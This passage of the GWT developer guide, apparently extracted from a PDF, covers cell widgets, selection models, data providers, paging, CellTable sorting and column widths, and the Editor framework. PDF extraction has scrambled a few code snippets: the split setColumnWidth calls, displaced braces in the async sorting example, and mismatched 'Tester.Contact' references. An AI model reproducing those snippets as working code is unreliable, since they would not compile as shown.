GWT offers a number of concrete Cell implementations that you can use immediately. See the Cell Sampler for examples. Text TextCell - A non-editable cell that displays text ClickableTextCell - A text field; clicking on the cell causes its ValueUpdater to be called EditTextCell - A cell that initially displays text; when clicked, the text becomes editable TextInputCell - A field for entering text Buttons, Checkboxes and Menus ActionCell<C> - A button that takes a delegate to perform actions on mouseUp ButtonCell - A button whose text is the data value CheckboxCell - A checkbox that can be checked or unchecked SelectionCell - A drop-down menu for selecting one of many choices Dates DateCell - A date that conforms to a specified date format DatePickerCell - A date picker that displays a month calendar in which the user can select a date Images ImageCell - A cell used to render an image URL ImageResourceCell - A cell used to render an ImageResource ImageLoadingCell - A cell used to render an image URL. A loading indicator is initially displayed Numbers NumberCell - A number that conforms to a specified number format Compositions CompositeCell<C> - A composition of multiple Cells. Decorators IconCellDecorator<C> - A decorator that adds an icon to another Cell

233 / 469

Creating a Custom Cell
If you want more control, you can subclass AbstractCell, or you can implement the Cell interface directly to define how your Cell is rendered and how it responds to events. Demo - CwCellList example shows a CellList<ContactInfo> (on the left). Each list item is a custom type ContactCell<ContactInfo>. The right-hand widget is a normal Composite widget that renders the data for a selected contact. Code Example #1 - The example below is available at CellExample.java. ColorCell is a custom Cell that extends AbstractCell<String>. It accepts a String value, checks the string for null, escapes it (in case it came from a user), then uses the resulting text string as value in rendering HTML markup <div style="color: value">. This ColorCell is used to render the items in a CellList. The first cell contains the string "red" colored red, the second is "green" colored green, and so forth.
/** * Example of creating a custom {@link Cell}. */ public class CellExample implements EntryPoint { // A custom Cell used to render a string that contains the name of a color. private static class ColorCell extends AbstractCell<String> { @Override public void render(String value, Object key, SafeHtmlBuilder sb) { // Always do a null check on the value. Cell widgets can pass null to cells // if the underlying data contains a null, or if the data arrives out of order. if (value == null) { return; } // If the value comes from the user, we escape it to avoid XSS attacks. SafeHtml safeValue = SafeHtmlUtils.fromString(value); // Append some HTML that sets the text color. sb.appendHtmlConstant("<div style=\"color:" + safeValue.asString() + "\">"); sb.append(safeValue); sb.appendHtmlConstant("</div>"); } } // The list of data to display. private static final List<String> COLORS = Arrays.asList("red", "green", "blue", "violet", "black", "gray"); public void onModuleLoad() { // Create a cell to render each value. ColorCell cell = new ColorCell(); // Use the cell in a CellList. CellList<String> cellList = new CellList<String>(cell); // Push the data into the widget. cellList.setRowData(0, COLORS); // Add it to the root panel. RootPanel.get().add(cellList); } }

Code Example #2 - See EditableCellExample.java, a more complex example that shows show to write a custom Cell that can change state based on user actions. It uses onBrowserEvent to handle click events and the Enter key.

4.4.5.3.

Selection, Data and Paging

Adding Selection Support
The SelectionModel is a simple interface that views use to determine if an item is selected. Cell widgets provide several selection models for selecting the children of a node: DefaultSelectionModel, NoSelectionModel, SingleSelectionModel and MultiSelectionModel. One of these is likely to fit your need. For demonstrations of selection, the CwCellList widget creates a SingleSelectionModel, whereas CwCellTable implements a MultiSelectionModel using checkboxes.

234 / 469

Views or application code can call setSelected() to select an item. Views call isSelected() to determine if an item is selected. Views also subscribe to the SelectionModel so they can be informed of selection changes that arrive from outside the view. In fact, you can extend DefaultSelectionModel and override isDefaultSelected(). This simple approach offers a lot of flexibility. A complex implementation can handle "select all" across multiple pages using a boolean to indicate that everything is selected, and then keep track of negative selections. By using a subscription model, we can link selection across multiple views. If multiple views subscribe to a single SelectionModel, then selecting a row in one view will select the row in other views. This behavior is optional and can be avoided by using a single SelectionModel instance per view. Demo - CwCellList example shows a cell widget that has a SelectionModel added to it. Clicking on an item selects it. To Add a Selection to a Cell Widget: 1. 2. 3. 4. 5. Create a cell widget. Choose a standard SelectionModel (or roll your own). Add this SelectionModel to the cell widget using setSelectionModel(SelectionModel). Create a SelectionChangeEvent.Handler implementing onSelectionChange. Add this handler to the SelectionModel using addSelectionChangeHandler.

Code Example - The example of SelectionModel below is available at CellListExample.java.
/** * Example of {@link CellList}. This example shows a list of the days of the week. */ public class CellListExample implements EntryPoint { // The list of data to display. private static final List<String> DAYS = Arrays.asList("Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday"); public void onModuleLoad() { // Create a cell to render each value. TextCell textCell = new TextCell(); // Create a CellList that uses the cell. CellList<String> cellList = new CellList<String>(textCell); cellList.setKeyboardSelectionPolicy(KeyboardSelectionPolicy.ENABLED); // Add a selection model to handle user selection. final SingleSelectionModel<String> selectionModel = new SingleSelectionModel<String>(); cellList.setSelectionModel(selectionModel); selectionModel.addSelectionChangeHandler(new SelectionChangeEvent.Handler() { public void onSelectionChange(SelectionChangeEvent event) { String selected = selectionModel.getSelectedObject(); if (selected != null) { Window.alert("You selected: " + selected); } } }); // Set the total row count. This isn't strictly necessary, but it affects // paging calculations, so its good habit to keep the row count up to date. cellList.setRowCount(DAYS.size(), true); // Push the data into the widget. cellList.setRowData(0, DAYS); // Add it to the root panel. RootPanel.get().add(cellList); } }

Keys Every DTO (Data Transfer Object) must have a key associated with it in order to be able to identify it as the same object, even though some of its properties may have changed. For example, given a table of current stock prices, the stock price may change in one of the columns, but the row represents the same fundamental DTO. Keys allow us to associate ViewData, such as selection state and validation information, with a DTO. If you select some items in a table or list, then when the list refreshes with new data, you can maintain the same selection. Code Example - The example of KeyProvider below is available at KeyProviderExample.java.

235 / 469

/** * Example of using a {@link ProvidesKey}. */ public class KeyProviderExample implements EntryPoint { // A simple data type that represents a contact. private static class Contact { private static int nextId = 0; private final int id; private String name; public Contact(String name) { nextId++; this.id = nextId; this.name = name; } } // A custom Cell used to render a Contact. private static class ContactCell extends AbstractCell { @Override public void render(Contact value, Object key, SafeHtmlBuilder sb) { if (value != null) { sb.appendEscaped(value.name); } } } // The list of data to display. private static final List CONTACTS = Arrays.asList(new Contact( "John"), new Contact("Joe"), new Contact("Michael"), new Contact("Sarah"), new Contact("George")); public void onModuleLoad() { // Define a key provider for a Contact. We use the unique ID as the key, // which allows to maintain selection even if the name changes. ProvidesKey keyProvider = new ProvidesKey() { public Object getKey(Contact item) { // Always do a null check. return (item == null) ? null : item.id; } }; // Create a CellList using the keyProvider. CellList cellList = new CellList(new ContactCell(), keyProvider); // Push data into the CellList. cellList.setRowCount(CONTACTS.size(), true); cellList.setRowData(0, CONTACTS); // Add a selection model using the same keyProvider. SelectionModel selectionModel = new SingleSelectionModel( keyProvider); cellList.setSelectionModel(selectionModel); // Select a contact. The selectionModel will select based on the ID because // we used a keyProvider. Contact sarah = CONTACTS.get(3); selectionModel.setSelected(sarah, true); // Modify the name of the contact. sarah.name = "Sara"; // Redraw the CellList. Sarah/Sara will still be selected because we // identify her by ID. If we did not use a keyProvider, Sara would not be // selected. cellList.redraw(); // Add the widgets to the root panel. RootPanel.get().add(cellList); } }

Providing Dynamic Data
We saw in a previous section Creating a CellList and Setting Data how to push data into a CellList. However, in most applications, you want to display dynamic data or a range of data, not just a static list. This section explains how to attach a data source to a cell widgets. Cell widgets do not impose any restrictions on the data source. Instead, the data source listens to the cell widget for changes in the visible range, then pushes new data to the cell widget. The data source detects changes in the visible range by adding a RangeChangeEvent.Handler via addRangeChangeHandler(). The data source can then access data asynchronously, eventually calling HasData#setRowData() with the new data. Fortunately, we provide a few convenience classes to make this even easier. ListDataProvider is a concrete data source 236 / 469

that is backed by a java.util.List, which is useful if your data lives entirely on the client side. If your data lives on a server, you can extend the abstract class AsyncDataProvider, which you can override to connect to an asynchronous data source, such as a database running on a server. Alternatively, you can create a custom data source by handling RangeChangeEvents directly. If you are writing your own presenter logic to control a Cell widget, you might find it easier to write your own data source instead of using a data provider.

ListDataProvider
ListDataProvider binds your cell widget to a java.util.List. Any changes to the internal list, which can be accessed via getList(), will be reflected in the views. The views are updated at the end of the current event block, so you can make multiple synchronous changes without causing multiple refreshes of the views. Code Example - The example below updates the view through a ListDataProvider.
/** * Entry point classes define <code>onModuleLoad()</code>. */ public class CellListExample implements EntryPoint { // The list of data to display. private static final List<String> DAYS = Arrays.asList("Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday"); public void onModuleLoad() { // Create a cell to render each value in the list. TextCell textCell = new TextCell(); // Create a CellList that uses the cell. CellList<String> cellList = new CellList<String>(textCell); // Set the range to display. In this case, our visible range is smaller than // the data set. cellList.setVisibleRange(1, 3); // Create a data provider. ListDataProvider<String> dataProvider = new ListDataProvider<String>(); // Connect the list to the data provider. dataProvider.addDataDisplay(cellList); // Add the data to the data provider, which automatically pushes it to the // widget. Our data provider will have seven values, but it will only push // the four that are in range to the list. List<String> list = dataProvider.getList(); for (String day : DAYS) { list.add(day); } // Add it to the root panel. RootPanel.get().add(cellList);

} }

AsyncDataProvider
AsyncListDataProvider binds your cell widget to an asynchronous data source. When the cell widget requests new data, the AsyncDataProvider fetches the new data and pushes it to the widget. Just implement the onRangeChanged() method and request the data in the new Range for the specified cell widget. When the data is returned, call updateRowCount() and/or updateRowData() to push the data to the widgets. Basic Recipe: 1. Create a subclass of AsyncDataProvider. 2. Implement onRangeChanged(HasData). a. Get the current range from the display b. Request the data from the server or data source 3. When the data is returned, call updateRowData() to push the data to the widgets. Code Example - The example below updates the view through a AsyncDataProvider.

237 / 469

/** * Entry point classes define <code>onModuleLoad()</code>. */ public class CellListExample implements EntryPoint { // The list of data to display. private static final List<String> DAYS = Arrays.asList("Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday"); public void onModuleLoad() { // Create a cell to render each value in the list. TextCell textCell = new TextCell(); // Create a CellList that uses the cell. final CellList<String> cellList = new CellList<String>(textCell); // Set the total row count. You might send an RPC request to determine the // total row count. cellList.setRowCount(DAYS.size(), true); // Set the range to display. In this case, our visible range is smaller than // the data set. cellList.setVisibleRange(1, 3); // Create a data provider. AsyncDataProvider<String> dataProvider = new AsyncDataProvider<String>() { @Override protected void onRangeChanged(HasData<String> display) { final Range range = display.getVisibleRange(); // This timer is here to illustrate the asynchronous nature of this data // provider. In practice, you would use an asynchronous RPC call to // request data in the specified range. new Timer() { @Override public void run() { int start = range.getStart(); int end = start + range.getLength(); List<String> dataInRange = DAYS.subList(start, end); // Push the data back into the list. cellList.setRowData(start, dataInRange); } }.schedule(2000); } }; // Connect the list to the data provider. dataProvider.addDataDisplay(cellList); // Add it to the root panel. RootPanel.get().add(cellList); } }

Custom Data Source
Cell widgets fire a RangeChangeEvent when the user pages through the list. You can handle RangeChangeEvents from the view and push new data into the view accordingly. This is useful if you are writing a presenter class for your cell widget. Code Example - The example below handlers RangeChangeEvents from the view and pushes new data based on the new range.

238 / 469

/** * Example of using a {@link RangeChangeEvent.Handler} to push data into a * {@link CellList} when the range changes. */ public class RangeChangeHandlerExample implements EntryPoint { @Override public void onModuleLoad() { // Create a CellList. final CellList cellList = new CellList(new TextCell()); // Add a range change handler. cellList.addRangeChangeHandler(new RangeChangeEvent.Handler() { @Override public void onRangeChange(RangeChangeEvent event) { Range range = event.getNewRange(); int start = range.getStart(); int length = range.getLength(); // Create the data to push into the view. At this point, you could send // an asynchronous RPC request to a server. List data = new ArrayList(); for (int i = start; i < start + length; i++) { data.add("Item " + i); } // Push the data into the list. cellList.setRowData(start, data); } }); // Force the cellList to fire an initial range change event. cellList.setVisibleRangeAndClearData(new Range(0, 25), true); // Create paging controls. SimplePager pager = new SimplePager(); pager.setDisplay(cellList); // Add the widgets to the root panel. VerticalPanel vPanel = new VerticalPanel(); vPanel.add(pager); vPanel.add(cellList); RootPanel.get().add(vPanel); } }

Adding Paging Controls
Paging is the operation of loading and bringing into view a range of data that is not currently loaded. Paging improves initial load time of large data sets by loading only the data that is needed by the current view. Two procedures follow — one for adding a standard SimplePager to a cell widget, and the other for adding custom paging controls to a cell widget. Demo - CwCellTable example shows a SimplePager control below a table. Code Example - The example below is available at SimplePagerExample.java. To Add SimplePager to a Cell Widget: 1. Create an instance of SimplePager widget using its constructor. 2. Assign the SimplePager to the cell widget you want to control using setDisplay(HasRows). 3. Add the SimplePager instance to the panel.

239 / 469

/** * Example of {@link SimplePager}. */ public class SimplePagerExample implements EntryPoint { public void onModuleLoad() { // Create a CellList. CellList<String> cellList = new CellList<String>(new TextCell()); // Add a cellList to a data provider. ListDataProvider<String> dataProvider = new ListDataProvider<String>(); List<String> data = dataProvider.getList(); for (int i = 0; i < 200; i++) { data.add("Item " + i); } dataProvider.addDataDisplay(cellList); // Create a SimplePager. SimplePager pager = new SimplePager(); // Set the cellList as the display. pager.setDisplay(cellList); // Add the pager and list to the page. VerticalPanel vPanel = new VerticalPanel(); vPanel.add(pager); vPanel.add(cellList); RootPanel.get().add(vPanel); } }

To Add Custom Paging Controls to a Cell Widget: 1. Create a custom pager — extending AbstractPager works for most use cases. AbstractPager provides many convenience methods that your pager will use to change the visible range, including a method to hook up the cell widget. a. AbstractPager is a Composite, so you need to define the Widget part of the pager and initialize AbstractPager by calling initWidget(Widget). b. You also need to override onRangeOrRowCountChanged() to update the widget when the visible range changes for any reason. 2. Assign the pager to the cell widget you want to control using setDisplay(HasRows) 3. Add the custom pager to a panel.

Updating a Database from Changes in a Cell
In most applications, the user takes actions in the user interface that should update the application's current state or send data back to the database (or data source). These user actions might be clicking a checkbox, pressing a button, or entering text into a field and pressing "Save". This process varies slightly for a CellList, CellTree, and CellTable, as described below. NOTE: In the case of ButtonCell, the value (the button text) doesn't actually change. Instead, ValueUpdater serves the purpose of informing external code of a change or an important action, such as a click.

Updating a Database From a CellList
Use a ValueUpdater in a Column to allow the user to modify the content of the Cell (as is possible with TextInputCell). The example below shows how to update data and handle invalid data. The FieldUpdater's update method takes three arguments: the row index of the data object, the data object that represents the field, and the new value of the Cell. When the user makes the change to the data, the Cell receives an event in its onBrowserEvent method. For cells that support user interaction, onBrowserEvent calls the update method of the ValueUpdater, passing in the new value. Demo - (none) Code Example - The example below is available at CellListValueUpdaterExample.java. To Update the Database from a CellList: 1. Create a class that implements ValueUpdater to accept a new data value and send it to your database. 2. Set the ValueUpdater to the CellList using cellList.setValueUpdater. Code Example - ValueUpdater

240 / 469

/** * Example of using a {@link ValueUpdater} with a {@link CellList}. */ public class CellListValueUpdaterExample implements EntryPoint { /** * The list of data to display. */ private static final List<String> DAYS = Arrays.asList("Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday"); public void onModuleLoad() { // Create a cell that will interact with a value updater. TextInputCell inputCell = new TextInputCell(); // Create a CellList that uses the cell. CellList<String> cellList = new CellList<String>(inputCell); // Create a value updater that will be called when the value in a cell changes. ValueUpdater<String> valueUpdater = new ValueUpdater<String>() { public void update(String newValue) { Window.alert("You typed: " + newValue); } }; // Add the value updater to the cellList. cellList.setValueUpdater(valueUpdater); // Set the total row count. This isn't strictly necessary, but it affects // paging calculations, so its good habit to keep the row count up to date. cellList.setRowCount(DAYS.size(), true); // Push the data into the widget. cellList.setRowData(0, DAYS); // Add it to the root panel. RootPanel.get().add(cellList); } }

Updating a Database From a CellTable
Use a FieldUpdater in a Column to allow the user to modify the content of the Cell (as is possible with TextInputCell). The example below shows how to update data and handle invalid data. The FieldUpdater's update method takes three arguments: the row index of the data object, the data object that represents the field, and the new value of the Cell. Demo - CwCellTable example lets you modify the First and Last names (these columns use EditTextCell). To Update the Database from a CellTable: 1. Create a class that implements FieldUpdater to accept a new data value and send it to your database. 2. Set the FieldUpdater in the Column by calling column.setFieldUpdater(fieldUpdater). Code Example - An example is available at CellTableFieldUpdaterExample.java.
public class CellTableFieldUpdaterExample implements EntryPoint { /** * A simple data type that represents a contact with a unique ID. */ private static class Contact { private static int nextId = 0; private final int id; private String name; public Contact(String name) { nextId++; this.id = nextId; this.name = name; } } /** * The list of data to display. */ private static final List CONTACTS = Arrays.asList(new Contact("John"), new Contact( "Joe"), new Contact("George"));

241 / 469

/** * The key provider that allows us to identify Contacts even if a field * changes. We identify contacts by their unique ID. */ private static final ProvidesKey KEY_PROVIDER = new ProvidesKey() { @Override public Object getKey(Contact item) { return item.id; } }; @Override public void onModuleLoad() { // Create a CellTable with a key provider. final CellTable table = new CellTable(KEY_PROVIDER); // Add a text input column to edit the name. final TextInputCell nameCell = new TextInputCell(); Column nameColumn = new Column(nameCell) { @Override public String getValue(Contact object) { // Return the name as the value of this column. return object.name; } }; table.addColumn(nameColumn, "Name"); // Add a field updater to be notified when the user enters a new name. nameColumn.setFieldUpdater(new FieldUpdater() { @Override public void update(int index, Contact object, String value) { // Inform the user of the change. Window.alert("You changed the name of " + object.name + " to " + value); // Push the changes into the Contact. At this point, you could send an // asynchronous request to the server to update the database. object.name = value; // Redraw the table with the new data. table.redraw(); } }); // Push the data into the widget. table.setRowData(CONTACTS); // Add it to the root panel. RootPanel.get().add(table); } }

4.4.6.

Cell Table (2.2)

A cell table (data presentation table) provides high-performance rendering of large data sets in a tabular view. You can check out the Cell Table example in the GWT Showcase to see it in action. This developer guide will walk you through some advanced features specific to CellTable, such as column sorting. If you are not familiar with the cell widgets, you should read the Cell Widgets Developer Guide before continuing. 1. Column Sorting 2. Controlling Column Widths

4.4.6.1.

Column Sorting

CellTable has built-in support for column sorting. Use Column.setSortable(boolean) to make a column sortable. Users will then be able to click on the column header and trigger a ColumnSortEvent. How you handle the event depends on how you push data into your CellTable.

ColumnSorting with ListDataProvider
GWT provides a default implementation of ColumnSortEvent.Handler called ColumnSortEvent.ListHandler that is designed to perform local sorting of a java.util.List. Code Example - The example below adds column sorting support to a CellTable backed by a ListDataProvider. 242 / 469

/** * Entry point classes define <code>onModuleLoad()</code>. */ public class CellTableExample implements EntryPoint { // A simple data type that represents a contact. private static class Contact { private final String address; private final String name; public Contact(String name, String address) { this.name = name; this.address = address; } } // The list of data to display. private static List<Contact> CONTACTS = Arrays.asList(new Contact("John", "123 Fourth Road"), new Contact("Mary", "222 Lancer Lane"), new Contact( "Zander", "94 Road Street")); public void onModuleLoad() { // Create a CellTable. CellTable<Contact> table = new CellTable<Contact>(); // Create name column. TextColumn<Contact> nameColumn = new TextColumn<Contact>() { @Override public String getValue(Contact contact) { return contact.name; } }; // Make the name column sortable. nameColumn.setSortable(true); // Create address column. TextColumn<Contact> addressColumn = new TextColumn<Contact>() { @Override public String getValue(Contact contact) { return contact.address; } }; // Add the columns. table.addColumn(nameColumn, "Name"); table.addColumn(addressColumn, "Address"); // Create a data provider. ListDataProvider<Contact> dataProvider = new ListDataProvider<Contact>(); // Connect the table to the data provider. dataProvider.addDataDisplay(table); // Add the data to the data provider, which automatically pushes it to the // widget. List<Contact> list = dataProvider.getList(); for (Contact contact : CONTACTS) { list.add(contact); } // Add a ColumnSortEvent.ListHandler to connect sorting to the // java.util.List. ListHandler<Contact> columnSortHandler = new ListHandler<Tester.Contact>( list); columnSortHandler.setComparator(nameColumn, new Comparator<Tester.Contact>() { public int compare(Contact o1, Contact o2) { if (o1 == o2) { return 0; } // Compare the name columns. if (o1 != null) { return (o2 != null) ? o1.name.compareTo(o2.name) : 1; } return -1; } }); table.addColumnSortHandler(columnSortHandler); // We know that the data is sorted alphabetically by default. table.getColumnSortList().push(nameColumn); // Add it to the root panel. RootPanel.get().add(table); } }

243 / 469

ColumnSorting with AsyncDataProvider
GWT provides a default implementation of ColumnSortEvent.Handler called ColumnSortEvent.AsyncHandler that helps with asynchronous (server-side) column sorting. When the user sorts a Column, AsyncHandler calls HasData.setVisibleRangeAndClearData(Range, boolean), which triggers a RangeChangeEvent to the AsyncDataProvider. Code Example - The example below adds column sorting support to a CellTable backed by an AsyncDataProvider.
/** * Entry point classes define <code>onModuleLoad()</code>. */ public class CellTableExample implements EntryPoint { // A simple data type that represents a contact. private static class Contact { private final String address; private final String name; public Contact(String name, String address) { this.name = name; this.address = address; } } // The list of data to display. private static List<Contact> CONTACTS = Arrays.asList(new Contact("John", "123 Fourth Road"), new Contact("Mary", "222 Lancer Lane"), new Contact( "Zander", "94 Road Street")); public void onModuleLoad() { // Create a CellTable. final CellTable<Contact> table = new CellTable<Contact>(); // Create name column. TextColumn<Contact> nameColumn = new TextColumn<Contact>() { @Override public String getValue(Contact contact) { return contact.name; } }; // Make the name column sortable. nameColumn.setSortable(true); // Create address column. TextColumn<Contact> addressColumn = new TextColumn<Contact>() { @Override public String getValue(Contact contact) { return contact.address; } }; // Add the columns. table.addColumn(nameColumn, "Name"); table.addColumn(addressColumn, "Address"); // Set the total row count. You might send an RPC request to determine the // total row count. table.setRowCount(CONTACTS.size(), true); // Set the range to display. In this case, our visible range is smaller than // the data set. table.setVisibleRange(0, 3); // Create a data provider. AsyncDataProvider<Contact> dataProvider = new AsyncDataProvider<Contact>() { @Override protected void onRangeChanged(HasData<Contact> display) { final Range range = display.getVisibleRange(); // Get the ColumnSortInfo from the table. final ColumnSortList sortList = table.getColumnSortList(); // This timer is here to illustrate the asynchronous nature of this data // provider. In practice, you would use an asynchronous RPC call to // request data in the specified range. new Timer() { @Override public void run() { int start = range.getStart(); int end = start + range.getLength(); // This sorting code is here so the example works. In practice, you // would sort on the server. Collections.sort(CONTACTS, new Comparator<Tester.Contact>() { public int compare(Contact o1, Contact o2) { if (o1 == o2) {

244 / 469

return 0; } // Compare the name columns. int diff = -1; if (o1 != null) { diff = (o2 != null) ? o1.name.compareTo(o2.name) : 1; } return sortList.get(0).isAscending() ? diff : -diff; } }); List<Contact> dataInRange = CONTACTS.subList(start, end); // Push the data back into the list. table.setRowData(start, dataInRange);

} }

} }; // Connect the list to the data provider. dataProvider.addDataDisplay(table); // Add a ColumnSortEvent.AsyncHandler to connect sorting to the // AsyncDataPRrovider. AsyncHandler columnSortHandler = new AsyncHandler(table); table.addColumnSortHandler(columnSortHandler); // We know that the data is sorted alphabetically by default. table.getColumnSortList().push(nameColumn); // Add it to the root panel. RootPanel.get().add(table);

} }.schedule(2000);

4.4.6.2.

Controlling Column Widths

By default, columns in a CellTable expand to fit the contents of the Cells. This works fine for a static table, but if the content changes due to paging or user interaction, the columns might change width and appear jumpy. CellTable provides an API that gives you fine grain control of how the available width is distributed between columns. In order to gain fine-grain control over the width of columns, you must set the table layout to "fixed" by passing true into CellTable.setWidth(String, boolean). Once in fixed-width mode, tables behave differently than they normally would. The following sections describe recipes for achieving various effects. Code Example - The example below creates a CellTable with fixed-width columns that expand to fill the available space.
/** * Entry point classes define <code>onModuleLoad()</code>. */ public class Tester implements EntryPoint { // A simple data type that represents a contact. private static class Contact { private final String address; private final String name; public Contact(String name, String address) { this.name = name; this.address = address; } } // The list of data to display. private static List<Contact> CONTACTS = Arrays.asList(new Contact("John", "123 Fourth Road"), new Contact("Mary", "222 Lancer Lane")); public void onModuleLoad() { // Create a CellTable. CellTable<Contact> table = new CellTable<Contact>(); // Create name column. TextColumn<Contact> nameColumn = new TextColumn<Contact>() { @Override public String getValue(Contact contact) { return contact.name; } }; // Create address column.

245 / 469

} }

TextColumn<Contact> addressColumn = new TextColumn<Contact>() { @Override public String getValue(Contact contact) { return contact.address; } }; // Add the columns. table.addColumn(nameColumn, "Name"); table.addColumn(addressColumn, "Address"); // Set the width of the table and put the table in fixed width mode. table.setWidth("100%", true); // Set the width of each column. table.setColumnWidth(nameColumn, 35.0, Unit.PCT); table.setColumnWidth(addressColumn, 65.0, Unit.PCT); // Set the total row count. This isn't strictly necessary, but it affects // paging calculations, so its good habit to keep the row count up to date. table.setRowCount(CONTACTS.size(), true); // Push the data into the widget. table.setRowData(0, CONTACTS); // Add it to the root panel. RootPanel.get().add(table);

Specify Exact Width of All Columns
If you want to assign a specific width to every column, then you must set the table width to "auto" and assign an absolute width to every column. WARNING: If you set the width of the table to "auto" and do not set the width of a column, the column will not be visible. Columns default to a width of 0.

table.setWidth("auto", true); table.setColumnWidth(col0, 100.0, table.setColumnWidth(col1, 150.0, table.setColumnWidth(col2, 250.0, table.setColumnWidth(col3, 100.0,

Unit.PX); Unit.PX); Unit.PX); Unit.PX);

Specify Relative Width of All Columns
You can assign relative widths to every column by setting the width of the table to a non-zero value (such as "100%" or "600px") and setting the width of each Column in percentages. WARNING: Whenever you set the width of one or more columns using percentages, the percentages should add up to 100%. Failure to do so may result in unintended layout issues.

table.setWidth("100%", true); table.setColumnWidth(col0, 10.0, table.setColumnWidth(col1, 25.0, table.setColumnWidth(col2, 25.0, table.setColumnWidth(col3, 40.0,

Unit.PCT); Unit.PCT); Unit.PCT); Unit.PCT);

Mix Fixed and Relative Column Widths
One of the great features of fixed-width tables is that you can specify that some columns should have a fixed width, while others should resize based on the width of the table. For example, you might fix the width of a checkbox column because a checkbox is always about 25px wide, but let other columns resize. In order to achieve this affect, set the width of the table to a non-zero value, set the width of the fixed columns using nonrelative units (such as px, em, or ex), and specify the width of the remaining columns in percentages. If you only want one column to be resizable, then set its width to 100%, and set the width of all other columns in pixels. 246 / 469

WARNING: The width of the columns specified in percentages should add up to 100%. If they do not, then columns specified in pixels will also resize with the table in an unpredictable way.

table.setWidth("100%", true); table.setColumnWidth(checkboxCol, 10.0, Unit.PX); table.setColumnWidth(nameCol, 35.0, Unit.PCT); table.setColumnWidth(descriptionCol, 65.0, Unit.PCT);

4.4.7.

Editors (2.1)

Data binding for bean-like objects The GWT Editor framework allows data stored in an object graph to be mapped onto a graph of Editors. The typical scenario is wiring objects returned from an RPC mechanism into a UI. 1. 2. 3. 4. 5. 6. 7. Goals Quickstart Definitions General workflow Editor contract Editor delegates Editor subtypes 1. LeafValueEditor 2. HasEditorDelegate 3. ValueAwareEditor 4. CompositeEditor 5. HasEditorErrors 8. Provided Adapters 9. Driver types 10. FAQ 1. Editor vs. IsEditor 2. Read-only Editors 3. Very large objects

Goals
• • • • Decrease the amount of glue code necessary to move data from an object graph into a UI and back. Be compatible with any object that looks like a bean, regardless of its implementation mechanism (POJO, JSO, RPC, RequestFactory). Support arbitrary composition of Editors. For post-GWT 2.1 release, establish the following trajectories: • Create an API that can be used by UiBinder • Support client-side JSR 303 Validation when it's available

Quickstart
Import the com.google.gwt.editor.Editor module in your gwt.xml file.
// Regular POJO, no special types needed public class Person { Address getAddress(); Person getManager(); String getName(); void setManager(Person manager); void setName(String name); }

247 / 469

// Sub-editors are retrieved from package-protected fields, usually initialized with UiBinder. // Many Editors have no interesting logic in them public class PersonEditor extends Dialog implements Editor<Person> { // Many GWT Widgets are already compatible with the Editor framework Label nameEditor; // Building Editors is usually just composition work AddressEditor addressEditor; ManagerSelector managerEditor; public PersonEditor() { // Instantiate my widgets, usually through UiBinder } } // A simple demonstration of the overall wiring public class EditPersonWorkflow{ // Empty interface declaration, similar to UiBinder interface Driver extends SimpleBeanEditorDriver<Person, PersonEditor> {} // Create the Driver Driver driver = GWT.create(Driver.class); void edit(Person p) { // PersonEditor is a DialogBox that extends Editor<Person> PersonEditor editor = new PersonEditor(); // Initialize the driver with the top-level editor driver.initialize(editor); // Copy the data in the object into the UI driver.edit(p); // Put the UI on the screen. editor.center(); } // Called by some UI action void save() { Person edited = driver.flush(); if (driver.hasErrors()) { // A sub-editor reported errors } doSomethingWithEditedPerson(edited); }

}

Definitions
• • Bean-like object: (henceforth "bean") An object that supports retrieval of properties through strongly-typed Foo getFoo() methods with optional void setFoo(Foo foo); methods. Editor: An object that supports editing zero or more properties of a bean. • • • An Editor may be composed of an arbitrary number of sub-Editors that edit the properties of a bean. Most Editors are Widgets, but the framework does not require this. It is possible to create "headless" Editors that perform solely programmatically-driven changes.

Driver: The "top-level" controller used to attach a bean to an Editor. The driver is responsible for descending into the Editor hierarchy to propagate data. Examples include the SimpleBeanEditorDriver and the RequestFactoryEditorDriver. Adapter: One of a number of provided types that provide "canned" behaviors for the Editor framework.

General workflow
• • Instantiate and initialize the Editors. • • • • If the Editors are UI based, this is usually the time to call UiBinder.createAndBindUi() Drivers are created through a call to GWT.create() and the specific details of the initialization are driver-dependent, although passing in the editor instance is common. Because the driver is stateful, driver instances must be paired with editor hierarchy instances. Instantiate and initialize the driver.

Start the editing process by passing the bean into the driver.

248 / 469

• • •

Allow the user to interact with the UI. Call the flush() method on the driver to copy Editor state into the bean hierarchy. Optionally check hasErrors() and getErrors() to determine if there are client-side input validation problems.

Editor contract
The basic Editor type is simply a parameterized marker interface that indicates that a type conforms to the editor contract or informal protocol. The only expected behavior of an Editor is that it will provide access to its sub-Editors via one or more of the following mechanisms: • An instance field with at least package visibility whose name exactly the property that will be edited or propertyNameEditor. For example:
class MyEditor implements Editor<Foo> { // Edits the Foo.getBar() property BarEditor bar; // Edits the Foo.getBaz() property BazEditor bazEditor; }

A no-arg method with at least package visibility whose name exactly is the property that will be edited or propertyNameEditor. This allows the use of interfaces for defining the Editor hierarchy. For example:
interface FooEditor extends Editor<Foo> { // Edits the Foo.getBar() property BarEditor bar(); // Edits the Foo.getBaz() property BazEditor bazEditor(); }

The @Path annotation may be used on the field or accessor method to specify a dotted property path or to bypass the implicit naming convention. For example:
class PersonEditor implements Editor<Person> { // Corresponds to person.getManager().getName() @Path("manager.name"); Label managerName; }

• •

The @Ignored annotation may be used on a field or accessor method to make the Editor framework ignore something that otherwise appears to be a sub-Editor. Sub-Editors may be null. In this case, the Editor framework will ignore these sub-editors.

Where the type Editor<T> is used, the type IsEditor<Editor<T>> may be substituted. The IsEditor interface allows composition of existing Editor behavior without the need to implement N-many delegate methods in the composed Editor type. For example, most leaf GWT Widget types implement IsEditor and are immediately useful in an Editorbased UI. By implementing IsEditor, the Widgets need only implement the single asEditor() method, which isolates the Widgets from any API changes that may occur in the component Editor logic.

Editor delegates
Every Editor has a peer EditorDelegate that provides framework-related services to the Editor. • • • getPath() returns the current path of the Editor within an attached Editor hierarchy. recordError() allows an Editor to report input validation errors to its parent Editors and eventually to the driver. Arbitrary data can be attached to the generated EditorError by using the userData parameter. subscribe() can be used to receive notifications of external updates to the object being edited. Not all drivers may support subscription. In this case, the call to subscribe() may return null.

249 / 469

Editor subtypes
